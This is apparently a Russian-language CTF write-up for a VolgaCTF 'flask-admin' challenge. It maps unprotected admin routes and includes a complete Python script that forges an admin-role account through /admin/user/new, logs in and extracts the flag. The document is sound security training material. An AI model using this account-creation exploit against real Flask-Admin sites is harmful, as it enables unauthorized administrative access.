flask-admin writeups
Dmitry KИсходник был дан с целью помочь найти уязвимость, строки 22,23 и описание в принципе намекают на то, что уже что-то не то с адресацией
/admin - 403
/admin/ -403
/admin/user -403
/admin/user/ -403
/admin/user/edit - 302 -> /admin/user/ -403
/admin/user/edit/ - 302 -> /admin/user/ -403
/admin/user/edit/?id=1 - 200
/admin/user/new - 200
Как найти /admin/user:
1)По исходникам - самый лучший вариант)
2)Угадать
Было 3 варианта как найти /admin/user/new и /admin/user/edit?id=1:
1) Брутфорсить
2) Поднять у себя тестовый стенд
3) Найти роуты где-нибудь в интернете
Далее если эксплуатировать /admin/new тогда просто создаем новый аккаунт, c использованием готового окна, единственное, нужно было самому сгенерировать hash
>>> from werkzeug.security import generate_password_hash
>>> generate_password_hash('hacker')
'pbkdf2:sha256:150000$1IeMGUAq$0ac5f4b180ae2d82d5d5102c9a910c2e70bd09d501e4dfc09790d2ea0c02182c'
Как определить тип хеша
1) чекнуть на /admin/user/edit?id=1
2) используется библиотка werkzeug, во многих руководствах, книгах используют её для создания аутентификации
Далее проходим аутентификацию через /login c cозданным аккаунтом hacker:hacker и получаем флаг на /
import requests
from werkzeug.security import generate_password_hash
import re
def get_csrf(s,url):
resp = s.get(url).text
regex = r'<input\sid="csrf_token"\sname="csrf_token"\stype="hidden"\svalue="(.*?)">'
return re.findall(regex, resp)[-1]
def get_flag(s):
flag_url = host + '/'
answ = s.get(flag_url).text
flag = re.findall('VolgaCTF{.+?}', answ)[-1]
return flag
def authN(s, auth_url, user, password):
data = {'csrf_token': get_csrf(s, auth_url),
'username': user,
'password': password,
'submit': "Sign In"
}
resp = s.post(auth_url, data=data)
def create_mulicious_user(s, email, username, password):
url = host+'/admin/user/new/'
s.get(url)
files = {'email': (None, email), 'username': (None, username),
'password_hash': (None, generate_password_hash(password)), 'role': (None, '2')}
x = s.post(url, files=files)
return True
host = 'http://localhost:5000'
def hack():
with requests.Session() as s:
#s.proxies.update({'http':'http://127.0.0.1:8080'})
email = 'hacker@volgactf.ru'
username = 'hacker'
password = 'hacker'
create_mulicious_user(s, email, username, password)
authN(s,host+'/login', username, password)
print(get_flag(s))
if __name__ == '__main__':
hack()